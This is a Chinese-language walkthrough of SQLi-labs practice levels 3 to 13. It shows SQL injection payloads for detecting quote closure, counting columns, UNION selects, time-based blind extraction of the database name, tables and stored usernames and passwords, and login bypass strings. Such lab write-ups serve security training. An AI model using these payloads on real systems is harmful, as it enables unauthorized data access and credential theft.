Less-3
一、判断注入类型
首先判断是数字型注入还是字符型注入
输入?id=1 查看回显
输入?id=1'
输入?id=1"
输入单引号时页面异常,输入双引号时页面正常 从回显的信息看来,它是由’)来进行闭合的,所以我们尝试输入’)进行闭合再输入–+注释掉后面的代码,结果显示页面正常显示。由此可推出参数是’)进行闭合的!此时可以输入and 1=1 和and 1=2来比较
输入?id=1' and 1=1
输入?id=1') and 1=2
此时证明了上述假设的闭合方式
二、猜解字段数
使用order by
输入?id=1' order by 4 --+(--+为注释语句)发现报错
输入?id=1') order by 3 --+
页面正常,说明字段数为3
其余注入与第一题相同
Less-4
一、找漏洞
输入?id=1查看回显
第四关使用(“”)的方式闭合字符串
当输入?id=1"时,页面显示错误
输入?id= 1") and 1=2 union select 1,2,3 --+页面正常
其余注入与第一题相同
Less-5
一、找漏洞
输入?id= 1查看回显
输入?id= 1'页面报错
输入?id=1' union select 1,2,3 --+页面显示
无法进行下一步
需要用到新的知识
时间延迟型注入手工注入
时间延迟型手工注入,正确会延迟,错误没有延迟。可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
我们构造sql语句,带上时间延迟的函数,如果有明显的延迟说明有注入点。
?id=1’ and if(length(database())=n,sleep(5),1)--+
当n为8时,出现明显的延迟,说明有注入点
猜库名
数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
猜表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),5)--+
经过几次尝试找到了表名。
猜列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky
猜值
?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+
?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb
到这里建议使用sqlmap
Less-6
查询了第一个,输入的id使用“包裹,其余和第五关一致
所以只需要我们换成双引号即可
Less-7
Less-8
首先输入?id=1 查看回显,发现除了输入?id=1时显示you are in ... 别的都不显示
可以使用盲注
输入?id=1' and if(length(database())=8,sleep(5),1) --+ 页面出现延迟五秒 说明数据库长度为8
其余步骤和Less-5相同
Less-9
首先输入?id=1查看回显,发现无论输入说明 都是显示you are in ...
可以使用时间盲注,同Less-5 Less-8
Less-10
个人认为Less-10和Less-9相同,无论输什么都不动,区别就在于Less-9是基于单引号的时间注入
Less-10是基于双引号的时间注入
Less-11
第十一关开始进入登录框这种模式,像登陆框这种模式也是可以当成sql语句注入
使用万能密码时可以登录admin' or 1 #)
是一个dump用户,当然admin也可以登录
使用burp
输入admin' order by 3 报错
输入admin' order by 2 --+ 正确
发现1,2可以回显 正常查询即可
Less-12
输入admin")发现闭合
其余同十一关
Less-13